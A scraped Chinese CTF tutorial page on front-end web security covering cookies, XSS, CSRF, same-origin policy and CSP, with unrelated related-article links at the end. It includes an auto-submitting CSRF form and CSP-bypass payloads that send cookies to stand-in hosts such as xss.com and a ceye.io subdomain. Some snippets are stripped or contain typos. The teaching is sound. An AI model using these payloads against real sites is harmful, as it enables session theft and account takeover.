CTF | Web安全 Part2:前端

01 XSS攻击与防御

一、Cookie

定义

Cookie是指某些网站为了辨别用户身份而存储在客户端上的数据(通常经过加密)。也就是说,只要有了某个用户的cookie,就能以他的身份登录。

获取Cookie

浏览器端(客户端):document.cookie
服务器端(PHP):$_COOKIE

存储位置

Chrome
Windows下:C:\Users\jay\AppData\Local\Google\Chrome\UserData\Default\Cookies

属性

SESSION=xxxxxxxxx;expires=Thu,27 Feb 2017 05:21:00 GMT;domain=www.xxx.com;path=/;HttpOnly;secure;SameSite=Strict

Name:Cookie的名字
Value:Cookie的值
Domain:该Cookie属于哪个域,只有这个域和其子域能获取该Cookie
Path:Cookie所属路径,只有这个路径和其下级目录能获取该Cookie
Expires/Max-Age:Cookie的实效时间
Size:Cookie的值得长度
HttpOnly:如果设置了该值,则Cookie不能被JS读取
Secure:该Cookie仅能由HTTPS协议传输
SameSite:用于定义cookie如何跨域发送,可以防止CSRF攻击

domain和path

  • 发生跨域xhr请求时,即使请求URL的域名和路径都满足cookie的domain和path,默认情况下cookie也不会自动被添加到请求头部中。
  • domain是可以设置为页面本身的域名(本域),或页面本身域的父域,但不能是公共后缀public suffix。举例说明:如果页面域名为www.baidu.com,domain可以设置为“www.baidu.com”,“baidu.com”,但不能设置为“.com”或“com”。

类别

  • 硬盘Cookie:
    设置了失效时间
  • 内存Cookie:
    未设置失效时间

二、XSS漏洞介绍

XSS指的是恶意攻击者往Web页面里插入恶意JS代码,当用户浏览该页之时,嵌入Web里面的JS代码会被执行,从而达到恶意的特殊目的。

POC

EXPLOIT

三、XSS漏洞类型

  • 反射型
  • 存储型
  • DOM型

四、 XSS危害

  • 窃取信息

    • Cookie
    • CSRF Token
    • password字段
  • XSS蠕虫

  • 命令执行

    • 特权域XSS—WooYun-2016-170984
    • 沙盒绕过—CVE-2017-12581

五、XSS与字符编码

HTML实体编码

例如左尖括号(<)编码:html十进制:<
html十六进制:<
字符实体:<;(不是所有字符都有)

JavaScript编码

例如左尖括号(<)编码:js八进制:\74;
js十六进制:\x3c;
jsunicode:\u003c

URL编码

例如左尖括号(<)编码:%3C

六、字符编码与绕过

HTML实体编码

DOM元素的属性值会自动HTML解码


解码后


JS编码

eval中的参数可以JS编码


解码后


URL编码

后端对用户输入进行URL解码时可以利用


前端传入URL编码后的字符串,可以绕过某些限制

%3Cscript%3Ealert%281%29%3C/script%3E

页面编码

有的时候,对于我们所提交的内容,目标站点不会将其转换为HTML实体";,而是会将其转义为",这样的转义同样会导致我们闭合失败,然而,在网页为GBK等编码下,事情却有了转机。

  • GBK编码第一字节(高字节)的范围为:0x81-0xFE
  • GBK编码第二字节(低字节)的范围为:0x40-0x7E、0x80-0xFE

\符号的十六进制为0x5C,刚好处在GBK的低字节中,如果前面有一个高字节(如%c0),那么恰好会被组合成一个合法的字符,从而\被吃掉,双引号逃逸出来。

七、XSS漏洞挖掘

寻找常见的输入点

  • 留言板、评论框(存储型)

  • 搜索型(反射型)

  • 个人资料修改(存储型、Self-XSS)

测试字符过滤情况

一般测试<>""\/&#''

定位输出点

标签属性值中、js代码中、标签内

可以利用的标签


click





</plaintext>
</code></pre> 
 <h3>一些trick</h3> 
 <ul> 
  <li><p>url中协议头可去掉,如//example.com(http),\\example(https,linux)</p></li> 
  <li><p>过滤<code>;</code>,用换行</p></li> 
  <li><p>HTML实体编码中,<code>;</code>可以去掉,例如&#60,不需要<code>;</code></p></li> 
  <li><p>可以利用拼接一个eval函数执行代码,例如<code>"a"+eval("alert(1)")</code></p></li> 
  <li> <p>ip可以用10进制或者16进制表示</p> <h3>XSS防御</h3> </li> 
  <li><p>浏览器自带的XSS防御</p></li> 
  <li><p>过滤</p></li> 
  <li><p>转义和编码</p></li> 
  <li><p>HttpOnly</p></li> 
 </ul> 
 <h3>XSS平台</h3> 
 <p>http://xsspt.com/<br> http://ceye.io/</p> 
 <h1>02 CSRF攻击与防御</h1> 
 <h2>一、CSRF介绍</h2> 
 <h3>GET型攻击</h3> 
 <p><strong>攻击者</strong>——>构造CSRF请求链接——><strong>受害者</strong>——>点击链接,个人信息被修改</p> 
 <h3>POST型攻击</h3> 
 <p><strong>攻击者伪造自动发送请求的页面</strong>——>发送页面链接——><strong>受害者</strong>——>点击链接,个人信息被修改</p> 
 <h3>攻击方式(伪造请求)</h3> 
 <pre><code class="php+HTML"><form action="http://victim.com/modify.php" method="POST">
    <input type="text" name="username" value="hacker">
    <input type="text" name="phone" value="12345678">
    <input type="text" name="password" value="123456">
</form>
<script>
    document.forms[0].submit();
</script>
</code></pre> 
 <h3>攻击方式(JSON)</h3> 
 <p>form表单无法发送json格式的请求,然而可以利用307跳转<br> 307跳转可以不改变请求主体,只改变请求目标</p> 
 <ol> 
  <li>首先在自己服务器上放一个页面main.html,这个页面包含一个flash文件,这个flash文件可以发送json请求</li> 
  <li>再在服务器上放一个307.php,这个文件可以跳转到CSRF目标站点</li> 
  <li>访问main.html,即可CSRF</li> 
 </ol> 
 <h2>二、CSRF防御</h2> 
 <h3>验证码</h3> 
 <p>后端对提交的验证码做校验,验证码不正确则请求失败</p> 
 <h3>添加token</h3> 
 <p>在请求参数中添加一个token参数,这个token的值要保证无法被攻击者预测(例如每次请求随机一遍,或者每个用户都有唯一的token)</p> 
 <h3>验证Referer</h3> 
 <p>Referer表示一个请求的来源页面。如果是一个CSRF的请求,那么CSRF要么为空(GET),要么为攻击者的网站(POST)</p> 
 <h1>03 同源策略</h1> 
 <h2>一、源</h2> 
 <p>源(origin)就是协议、域名和端口号。</p> 
 <p>http://www.example.com:80</p> 
 <h2>二、同源策略</h2> 
 <h3>Cookie</h3> 
 <p>Cookie的两个属性<strong>domain</strong>和<strong>path</strong>与同源策略有关<br> 例如对于下面的一条Cookie:<br> Cookiename=cookievalue;domain=a.com;path=/admin;</p> 
 <p>那么只有a.com或者其子域(例如sub.a.com),并且/admin及其子目录下的页面可以可以读取到该Cookie的值</p> 
 <h3>iframe</h3> 
 <p>和父窗口的源不同的iframe的DOM树不能被JavaScript读取,也不能被修改</p> 
 <h3>子域</h3> 
 <p>例如sub.a.com就是a.com的子域</p> 
 <p>子域可以将自己的domain设置成主域<br> <code>document.doamin='a.com';</code><br> 然后sub.a.com和a.com就可以访问彼此页面的cookie了。同理,在iframe中这样设置也能互相读取彼此的DOM树了。</p> 
 <p>此外,例如有个sub2.a.com,如果它也将document.doamin设置为a.com那么它和sub.a.com也就同源了。<br> 但是需要注意的是,document.domain='com'这样直接设置到顶级域是不允许的</p> 
 <h3>Ajax</h3> 
 <p>Ajax请求可以跨域发送,但是域不同的时候不携带Cookie,并且无法获取响应内容</p> 
 <h2>三、跨域方式</h2> 
 <h3>CORS(跨域资源共享)</h3> 
 <p>为了实现不同网站之间的通信,浏览器实现了一种共享资源的方式。<br> 例如a.com要获取b.com的内容,那么就要在a.com的页面中设置CORS头部</p> 
 <pre><code class="php+HTML">header('Access-Control-Allow-Origin:http://b.com');
header('Access-Control-Allow_Origin:*');
</code></pre> 
 <h3>window.name</h3> 
 <p>iframe和window.name结合可以实现跨域传输,即使父窗口和子窗口的源不同,也可以获取window.name的值</p> 
 <pre><code class="javascript"><script>
    function getData(){
    var iframe = document.getElementById('ifr');
    iframe.onload = function(){
        var data = iframe.contentWindow.name;
    }
    iframe.src = 'b.html';
}
</script>
</code></pre> 
 <h3>Jsonp</h3> 
 <pre><code class="javascript"><script>
    function _callback(s){
    alert(JSON.stringify(s));
}
</script>
<script src="http://example.com/json.php?cb=_callback"></script>
</code></pre> 
 <p><code>http://example.com/json.php?cb=_callback</code>的响应结果类似:</p> 
 <p><code>__Jquery({"id":1,"content":"hello"})</code></p> 
 <p>原理是script标签可以跨域请求(类似的还有img等),这里jsonp请求获取到的是一串js代码,一般是一个函数调用,参数就是想要跨域获取的数据,而函数的实现在发起请求的页面中。<br> 获取完毕后,调用该函数,即可获取数据并进行后续处理。</p> 
 <h1>04 CSP</h1> 
 <h2>一、什么是CSP</h2> 
 <p>CSP(内容安全策略)是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本和数据注入攻击等。</p> 
 <h3>CSP部署位置</h3> 
 <ol> 
  <li>HTTP响应头部名为Content-Security-Policy的字段</li> 
  <li>页面中的meta标签</li> 
 </ol> 
 <h3>例子</h3> 
 <p><code>Content-Security-Policy:default-src'self';script-src'axample.com'</code></p> 
 <p>一个CSP策略有多组指令构成,中间以分号间隔<br> 例如,上面的策略有两组指令,含义如下:<br> <code>default-src'self'</code> 元素的默认来源只能是当前页面<br> <code>script-src'example.com'</code> script标签只能来源于'example.com'</p> 
 <h2>二、CSP策略指令</h2> 
 <p>default-src指令定义了那些没有被更精确指令指定的安全策略。<br> default-src</p> 
 <h2>三、CSP内容原</h2> 
 <p>CSP中的内容原有三种:源列表、关键字和数据</p> 
 <h3>源列表</h3> 
 <p>源列表是一个字符串,指定了一个或多个互联网主机(通过主机名或 IP 地址),和可选的 URL 协议和/或端口号。站点地址可以包含可选的通配符前缀 (星号, <code>'*'</code>),端口号也可以使用通配符 (同样是 <code>'*'</code>) 来表明所有合法端口都是有效来源。主机通过空格分隔。</p> 
 <p>有效的主机表达式包括:</p> 
 <ul> 
  <li> <p>http://*.foo.com</p> <p>匹配所有使用 <code>http:</code> 协议加载 foo.com 任何子域名的尝试。</p> </li> 
  <li> <p>mail.foo.com:443</p> <p>匹配所有访问 mail.foo.com 的 443 端口 的尝试。</p> </li> 
  <li> <p>https://store.foo.com</p> <p>匹配所有使用 <code>https:</code> 协议访问 store.foo.com 的尝试。</p> </li> 
 </ul> 
 <p>如果端口号没有被指定,浏览器会使用指定协议的默认端口号。如果协议没有被指定,浏览器会使用访问该文档时的协议。</p> 
 <h3>关键字</h3> 
 <p>有一些关键字可以用来描述某类特别的内容源。它们是:</p> 
 <ul> 
  <li> <p><code>'none'</code></p> <p>代表空集;即不匹配任何 URL。两侧单引号是必须的。</p> </li> 
  <li> <p><code>'self'</code></p> <p>代表和文档同源,包括相同的 URL 协议和端口号。两侧单引号是必须的。</p> </li> 
  <li> <p><code>'unsafe-inline'</code></p> <p>允许使用内联资源,如内联的 <code>](https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/script) 元素、`javascript:` URL、内联的事件处理函数和内联的 [</code> 元素。两侧单引号是必须的。</p> </li> 
  <li> <p><code>'unsafe-eval'</code></p> <p>允许使用 <code>eval()</code> 等通过字符串创建代码的方法。两侧单引号是必须的。</p> </li> 
 </ul> 
 <h3>数据</h3> 
 <ul> 
  <li> <p>data:</p> <p>允许 <code>data:</code> URI 作为内容来源。这是不安全的,因为攻击者可以精心构造 data: URI 来攻击。请谨慎地使用这个源,并确保不要用于脚本。</p> </li> 
  <li> <p>mediastream:</p> <p>允许 <code>mediastream:</code> URI 作为内容源。</p> </li> 
 </ul> 
 <pre><code>Content-Security-Policy: default-src 'self'; img-src 'self' data:; media-src mediastream:
</code></pre> 
 <h2>四、CSP绕过</h2> 
 <h3>url跳转</h3> 
 <p>在default-src 'none'的情况下,可以使用meta标签实现跳转</p> 
 <pre><code><meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" >
</code></pre> 
 <p>在允许unsafe-inline的情况下,可以用window.location,或者window.open之类的方法进行跳转绕过。</p> 
 <pre><code><script>
  window.location="http://www.xss.com/x.php?c=[cookie]";
</script>
</code></pre> 
 <h3>标签预加载</h3> 
 <p>CSP对link标签的预加载功能考虑不完善。<br> 在Chrome下,可以使用如下标签发送cookie(最新版Chrome会禁止)</p> 
 <pre><code><link rel="prefetch" href="http://www.xss.com/x.php?c=[cookie]">
</code></pre> 
 <p>在Firefox下,可以将cookie作为子域名,用dns预解析的方式把cookie带出去,查看dns服务器的日志就能得到cookie</p> 
 <pre><code><link rel="dns-prefetch" href="//[cookie].xxx.ceye.io">
</code></pre> 
 <h3>利用浏览器补全</h3> 
 <p>有些网站限制只有某些脚本才能使用,往往会使用<script>标签的nonce属性,只有nonce一致的脚本才生效,比如CSP设置成下面这样:</p> 
 <pre><code>Content-Security-Policy: default-src 'none';script-src 'nonce-abc'
</code></pre> 
 <p>那么当脚本插入点为如下的情况时</p> 
 <pre><code><p>插入点</p>
<script id="aa" nonce="abc">document.write('CSP');</script>
</code></pre> 
 <p>可以插入</p> 
 <pre><code><script src=//14.rs a="
</code></pre> 
 <p>这样会拼成一个新的script标签,其中的src可以自由设定</p> 
 <pre><code><p><script src=//14.rs a="</p>
<script id="aa" nonce="abc">document.write('CSP');</script>
</code></pre> 
 <h3>iframe</h3> 
 <p>1.如果页面A中有CSP限制,但是页面B中没有,同时A和B同源,那么就可以在A页面中包含B页面来绕过CSP:</p> 
 <pre><code><iframe src="B"></iframe>
</code></pre> 
 <p>2.在Chrome下,iframe标签支持csp属性,这有时候可以用来绕过一些防御,例如"http://xxx"页面有个js库会过滤XSS向量,我们就可以使用csp属性来禁掉这个js库。</p> 
 <pre><code><iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe>
</code></pre> 
</article>
                            </div>
                        </div>
                    </div>
                    <!--PC和WAP自适应版-->
                    <div id="SOHUCS" sid="1275200485908824064"></div>
                    <script type="text/javascript" src="/views/front/js/chanyan.js"></script>
                    <!-- 文章页-底部 动态广告位 -->
                    <div class="youdao-fixed-ad" id="detail_ad_bottom"></div>
                </div>
                <div class="col-md-3">
                    <div class="row" id="ad">
                        <!-- 文章页-右侧1 动态广告位 -->
                        <div id="right-1" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_1"> </div>
                        </div>
                        <!-- 文章页-右侧2 动态广告位 -->
                        <div id="right-2" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_2"></div>
                        </div>
                        <!-- 文章页-右侧3 动态广告位 -->
                        <div id="right-3" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_3"></div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <div class="container">
        <h4 class="pt20 mb15 mt0 border-top">你可能感兴趣的:(CTF | Web安全 Part2:前端)</h4>
        <div id="paradigm-article-related">
            <div class="recommend-post mb30">
                <ul class="widget-links">
                    <li><a href="/article/1835509897106649088.htm"
                           title="Long类型前后端数据不一致" target="_blank">Long类型前后端数据不一致</a>
                        <span class="text-muted">igotyback</span>
<a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a>
                        <div>响应给前端的数据浏览器控制台中response中看到的Long类型的数据是正常的到前端数据不一致前后端数据类型不匹配是一个常见问题,尤其是当后端使用Java的Long类型(64位)与前端JavaScript的Number类型(最大安全整数为2^53-1,即16位)进行数据交互时,很容易出现精度丢失的问题。这是因为JavaScript中的Number类型无法安全地表示超过16位的整数。为了解决这个问</div>
                    </li>
                    <li><a href="/article/1835498925755297792.htm"
                           title="DIV+CSS+JavaScript技术制作网页(旅游主题网页设计与制作)云南大理" target="_blank">DIV+CSS+JavaScript技术制作网页(旅游主题网页设计与制作)云南大理</a>
                        <span class="text-muted">STU学生网页设计</span>
<a class="tag" taget="_blank" href="/search/%E7%BD%91%E9%A1%B5%E8%AE%BE%E8%AE%A1/1.htm">网页设计</a><a class="tag" taget="_blank" href="/search/%E6%9C%9F%E6%9C%AB%E7%BD%91%E9%A1%B5%E4%BD%9C%E4%B8%9A/1.htm">期末网页作业</a><a class="tag" taget="_blank" href="/search/html%E9%9D%99%E6%80%81%E7%BD%91%E9%A1%B5/1.htm">html静态网页</a><a class="tag" taget="_blank" href="/search/html5%E6%9C%9F%E6%9C%AB%E5%A4%A7%E4%BD%9C%E4%B8%9A/1.htm">html5期末大作业</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E9%A1%B5%E8%AE%BE%E8%AE%A1/1.htm">网页设计</a><a class="tag" taget="_blank" href="/search/web%E5%A4%A7%E4%BD%9C%E4%B8%9A/1.htm">web大作业</a>
                        <div>️精彩专栏推荐作者主页:【进入主页—获取更多源码】web前端期末大作业:【HTML5网页期末作业(1000套)】程序员有趣的告白方式:【HTML七夕情人节表白网页制作(110套)】文章目录二、网站介绍三、网站效果▶️1.视频演示2.图片演示四、网站代码HTML结构代码CSS样式代码五、更多源码二、网站介绍网站布局方面:计划采用目前主流的、能兼容各大主流浏览器、显示效果稳定的浮动网页布局结构。网站程</div>
                    </li>
                    <li><a href="/article/1835497792265613312.htm"
                           title="【加密社】Solidity 中的事件机制及其应用" target="_blank">【加密社】Solidity 中的事件机制及其应用</a>
                        <span class="text-muted">加密社</span>
<a class="tag" taget="_blank" href="/search/%E9%97%B2%E4%BE%83/1.htm">闲侃</a><a class="tag" taget="_blank" href="/search/%E5%8C%BA%E5%9D%97%E9%93%BE/1.htm">区块链</a><a class="tag" taget="_blank" href="/search/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6/1.htm">智能合约</a><a class="tag" taget="_blank" href="/search/%E5%8C%BA%E5%9D%97%E9%93%BE/1.htm">区块链</a>
                        <div>加密社引言在Solidity合约开发过程中,事件(Events)是一种非常重要的机制。它们不仅能够让开发者记录智能合约的重要状态变更,还能够让外部系统(如前端应用)监听这些状态的变化。本文将详细介绍Solidity中的事件机制以及如何利用不同的手段来触发、监听和获取这些事件。事件存储的地方当我们在Solidity合约中使用emit关键字触发事件时,该事件会被记录在区块链的交易收据中。具体而言,事件</div>
                    </li>
                    <li><a href="/article/1835496149843275776.htm"
                           title="关于城市旅游的HTML网页设计——(旅游风景云南 5页)HTML+CSS+JavaScript" target="_blank">关于城市旅游的HTML网页设计——(旅游风景云南 5页)HTML+CSS+JavaScript</a>
                        <span class="text-muted">二挡起步</span>
<a class="tag" taget="_blank" href="/search/web%E5%89%8D%E7%AB%AF%E6%9C%9F%E6%9C%AB%E5%A4%A7%E4%BD%9C%E4%B8%9A/1.htm">web前端期末大作业</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/html/1.htm">html</a><a class="tag" taget="_blank" href="/search/css/1.htm">css</a><a class="tag" taget="_blank" href="/search/%E6%97%85%E6%B8%B8/1.htm">旅游</a><a class="tag" taget="_blank" href="/search/%E9%A3%8E%E6%99%AF/1.htm">风景</a>
                        <div>⛵源码获取文末联系✈Web前端开发技术描述网页设计题材,DIV+CSS布局制作,HTML+CSS网页设计期末课程大作业|游景点介绍|旅游风景区|家乡介绍|等网站的设计与制作|HTML期末大学生网页设计作业,Web大学生网页HTML:结构CSS:样式在操作方面上运用了html5和css3,采用了div+css结构、表单、超链接、浮动、绝对定位、相对定位、字体样式、引用视频等基础知识JavaScrip</div>
                    </li>
                    <li><a href="/article/1835496148601761792.htm"
                           title="HTML网页设计制作大作业(div+css) 云南我的家乡旅游景点 带文字滚动" target="_blank">HTML网页设计制作大作业(div+css) 云南我的家乡旅游景点 带文字滚动</a>
                        <span class="text-muted">二挡起步</span>
<a class="tag" taget="_blank" href="/search/web%E5%89%8D%E7%AB%AF%E6%9C%9F%E6%9C%AB%E5%A4%A7%E4%BD%9C%E4%B8%9A/1.htm">web前端期末大作业</a><a class="tag" taget="_blank" href="/search/web%E8%AE%BE%E8%AE%A1%E7%BD%91%E9%A1%B5%E8%A7%84%E5%88%92%E4%B8%8E%E8%AE%BE%E8%AE%A1/1.htm">web设计网页规划与设计</a><a class="tag" taget="_blank" href="/search/html/1.htm">html</a><a class="tag" taget="_blank" href="/search/css/1.htm">css</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/dreamweaver/1.htm">dreamweaver</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a>
                        <div>Web前端开发技术描述网页设计题材,DIV+CSS布局制作,HTML+CSS网页设计期末课程大作业游景点介绍|旅游风景区|家乡介绍|等网站的设计与制作HTML期末大学生网页设计作业HTML:结构CSS:样式在操作方面上运用了html5和css3,采用了div+css结构、表单、超链接、浮动、绝对定位、相对定位、字体样式、引用视频等基础知识JavaScript:做与用户的交互行为文章目录前端学习路线</div>
                    </li>
                    <li><a href="/article/1835489586684456960.htm"
                           title="ARM驱动学习之4小结" target="_blank">ARM驱动学习之4小结</a>
                        <span class="text-muted">JT灬新一</span>
<a class="tag" taget="_blank" href="/search/%E5%B5%8C%E5%85%A5%E5%BC%8F/1.htm">嵌入式</a><a class="tag" taget="_blank" href="/search/C%2B%2B/1.htm">C++</a><a class="tag" taget="_blank" href="/search/arm%E5%BC%80%E5%8F%91/1.htm">arm开发</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0/1.htm">学习</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a>
                        <div>ARM驱动学习之4小结#include#include#include#include#include#defineDEVICE_NAME"hello_ctl123"MODULE_LICENSE("DualBSD/GPL");MODULE_AUTHOR("TOPEET");staticlonghello_ioctl(structfile*file,unsignedintcmd,unsignedlo</div>
                    </li>
                    <li><a href="/article/1835448238103162880.htm"
                           title="springboot+vue项目实战一-创建SpringBoot简单项目" target="_blank">springboot+vue项目实战一-创建SpringBoot简单项目</a>
                        <span class="text-muted">苹果酱0567</span>
<a class="tag" taget="_blank" href="/search/%E9%9D%A2%E8%AF%95%E9%A2%98%E6%B1%87%E6%80%BB%E4%B8%8E%E8%A7%A3%E6%9E%90/1.htm">面试题汇总与解析</a><a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/boot/1.htm">boot</a><a class="tag" taget="_blank" href="/search/%E5%90%8E%E7%AB%AF/1.htm">后端</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E4%B8%AD%E9%97%B4%E4%BB%B6/1.htm">中间件</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a>
                        <div>这段时间抽空给女朋友搭建一个个人博客,想着记录一下建站的过程,就当做笔记吧。虽然复制zjblog只要一个小时就可以搞定一个网站,或者用cms系统,三四个小时就可以做出一个前后台都有的网站,而且想做成啥样也都行。但是就是要从新做,自己做的意义不一样,更何况,俺就是专门干这个的,嘿嘿嘿要做一个网站,而且从零开始,首先呢就是技术选型了,经过一番思量决定选择-SpringBoot做后端,前端使用Vue做一</div>
                    </li>
                    <li><a href="/article/1835448111909138432.htm"
                           title="react-intl——react国际化使用方案" target="_blank">react-intl——react国际化使用方案</a>
                        <span class="text-muted">苹果酱0567</span>
<a class="tag" taget="_blank" href="/search/%E9%9D%A2%E8%AF%95%E9%A2%98%E6%B1%87%E6%80%BB%E4%B8%8E%E8%A7%A3%E6%9E%90/1.htm">面试题汇总与解析</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/%E4%B8%AD%E9%97%B4%E4%BB%B6/1.htm">中间件</a><a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/boot/1.htm">boot</a><a class="tag" taget="_blank" href="/search/%E5%90%8E%E7%AB%AF/1.htm">后端</a>
                        <div>国际化介绍i18n:internationalization国家化简称,首字母+首尾字母间隔的字母个数+尾字母,类似的还有k8s(Kubernetes)React-intl是React中最受欢迎的库。使用步骤安装#usenpmnpminstallreact-intl-D#useyarn项目入口文件配置//index.tsximportReactfrom"react";importReactDOMf</div>
                    </li>
                    <li><a href="/article/1835437775344726016.htm"
                           title="博客网站制作教程" target="_blank">博客网站制作教程</a>
                        <span class="text-muted">2401_85194651</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/maven/1.htm">maven</a>
                        <div>首先就是技术框架:后端:Java+SpringBoot数据库:MySQL前端:Vue.js数据库连接:JPA(JavaPersistenceAPI)1.项目结构blog-app/├──backend/│├──src/main/java/com/example/blogapp/││├──BlogApplication.java││├──config/│││└──DatabaseConfig.java</div>
                    </li>
                    <li><a href="/article/1835428317084348416.htm"
                           title="最简单将静态网页挂载到服务器上(不用nginx)" target="_blank">最简单将静态网页挂载到服务器上(不用nginx)</a>
                        <span class="text-muted">全能全知者</span>
<a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a><a class="tag" taget="_blank" href="/search/nginx/1.htm">nginx</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/html/1.htm">html</a><a class="tag" taget="_blank" href="/search/%E7%AC%94%E8%AE%B0/1.htm">笔记</a>
                        <div>最简单将静态网页挂载到服务器上(不用nginx)如果随便弄个静态网页挂在服务器都要用nignx就太麻烦了,所以直接使用Apache来搭建一些简单前端静态网页会相对方便很多检查Web服务器服务状态:sudosystemctlstatushttpd#ApacheWeb服务器如果发现没有安装web服务器:安装Apache:sudoyuminstallhttpd启动Apache:sudosystemctl</div>
                    </li>
                    <li><a href="/article/1835427057752961024.htm"
                           title="补充元象二面" target="_blank">补充元象二面</a>
                        <span class="text-muted">Redstone Monstrosity</span>
<a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/%E9%9D%A2%E8%AF%95/1.htm">面试</a>
                        <div>1.请尽可能详细地说明,防抖和节流的区别,应用场景?你的回答中不要写出示例代码。防抖(Debounce)和节流(Throttle)是两种常用的前端性能优化技术,它们的主要区别在于如何处理高频事件的触发。以下是防抖和节流的区别和应用场景的详细说明:防抖和节流的定义防抖:在一段时间内,多次执行变为只执行最后一次。防抖的原理是,当事件被触发后,设置一个延迟定时器。如果在这个延迟时间内事件再次被触发,则重</div>
                    </li>
                    <li><a href="/article/1835420753252675584.htm"
                           title="微信小程序开发注意事项" target="_blank">微信小程序开发注意事项</a>
                        <span class="text-muted">jun778895</span>
<a class="tag" taget="_blank" href="/search/%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F/1.htm">微信小程序</a><a class="tag" taget="_blank" href="/search/%E5%B0%8F%E7%A8%8B%E5%BA%8F/1.htm">小程序</a>
                        <div>微信小程序开发是一个融合了前端开发、用户体验设计、后端服务(可选)以及微信小程序平台特性的综合性项目。这里,我将详细介绍一个典型的小程序开发项目的全过程,包括项目规划、设计、开发、测试及部署上线等各个环节,并尽量使内容达到或超过2000字的要求。一、项目规划1.1项目背景与目标假设我们要开发一个名为“智慧校园助手”的微信小程序,旨在为学生提供一站式校园生活服务,包括课程表查询、图书馆座位预约、食堂</div>
                    </li>
                    <li><a href="/article/1835417097660887040.htm"
                           title="Linux CTF逆向入门" target="_blank">Linux CTF逆向入门</a>
                        <span class="text-muted">蚁景网络安全</span>
<a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a><a class="tag" taget="_blank" href="/search/CTF/1.htm">CTF</a>
                        <div>1.ELF格式我们先来看看ELF文件头,如果想详细了解,可以查看ELF的manpage文档。关于ELF更详细的说明:e_shoff:节头表的文件偏移量(字节)。如果文件没有节头表,则此成员值为零。sh_offset:表示了该section(节)离开文件头部位置的距离+-------------------+|ELFheader|---++--------->+-------------------</div>
                    </li>
                    <li><a href="/article/1835411044768509952.htm"
                           title="字节二面" target="_blank">字节二面</a>
                        <span class="text-muted">Redstone Monstrosity</span>
<a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/%E9%9D%A2%E8%AF%95/1.htm">面试</a>
                        <div>1.假设你是正在面试前端开发工程师的候选人,面试官让你详细说出你上一段实习过程的收获和感悟。在上一段实习过程中,我获得了宝贵的实践经验和深刻的行业洞察,以下是我的主要收获和感悟:一、专业技能提升框架应用熟练度:通过实际项目,我深入掌握了React、Vue等前端框架的使用,不仅提升了编码效率,还学会了如何根据项目需求选择合适的框架。问题解决能力:在实习期间,我遇到了许多预料之外的技术难题。通过查阅文</div>
                    </li>
                    <li><a href="/article/1835398064727224320.htm"
                           title="前端代码上传文件" target="_blank">前端代码上传文件</a>
                        <span class="text-muted">余生逆风飞翔</span>
<a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a>
                        <div>点击上传文件import{ElNotification}from'element-plus'import{API_CONFIG}from'../config/index.js'import{UploadFilled}from'@element-plus/icons-vue'import{reactive}from'vue'import{BASE_URL}from'../config/index'i</div>
                    </li>
                    <li><a href="/article/1835385458356482048.htm"
                           title="uniapp实现动态标记效果详细步骤【前端开发】" target="_blank">uniapp实现动态标记效果详细步骤【前端开发】</a>
                        <span class="text-muted">2401_85123349</span>
<a class="tag" taget="_blank" href="/search/uni-app/1.htm">uni-app</a>
                        <div>第二个点在于实现将已经被用户标记的内容在下一次获取后刷新它的状态为已标记。这是什么意思呢?比如说上面gif图中的这些人物对象,有一些已被该用户添加为关心,那么当用户下一次进入该页面时,这些已经被添加关心的对象需要以“红心”状态显现出来。这个点的难度还不算大,只需要在每一次获取后端的内容后对标记对象进行状态更新即可。II.动态标记效果实现思路和步骤首先,整体的思路是利用动态类名对不同的元素进行选择。</div>
                    </li>
                    <li><a href="/article/1835373236217540608.htm"
